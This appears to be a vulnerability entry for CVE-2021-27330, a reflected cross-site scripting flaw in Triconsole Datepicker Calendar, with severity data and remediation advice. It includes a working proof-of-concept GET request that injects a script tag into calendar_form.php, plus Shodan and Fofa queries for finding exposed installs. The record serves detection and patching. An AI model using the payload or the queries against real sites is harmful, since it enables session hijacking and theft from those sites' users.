| Title | Triconsole Datepicker Calendar <3.77 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu,daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of Triconsole Datepicker Calendar that properly validates user input to prevent XSS attacks. |
| CVSS Score | 6.1 |
| EPSS Score | 0.22381 |
| CVE ID | CVE-2021-27330 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:triconsole.com - php calendar date picker |
| Fofa Query | title=triconsole.com - php calendar date picker |
| Tags | cve2021 cve xss edb triconsole vuln |
Triconsole Datepicker Calendar before 3.77 contains a cross-site scripting vulnerability in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further attacks such as reading browser history, directory listings, and file contents.
GET /calendar/calendar_form.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27330.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27330.pcap
N/AN/A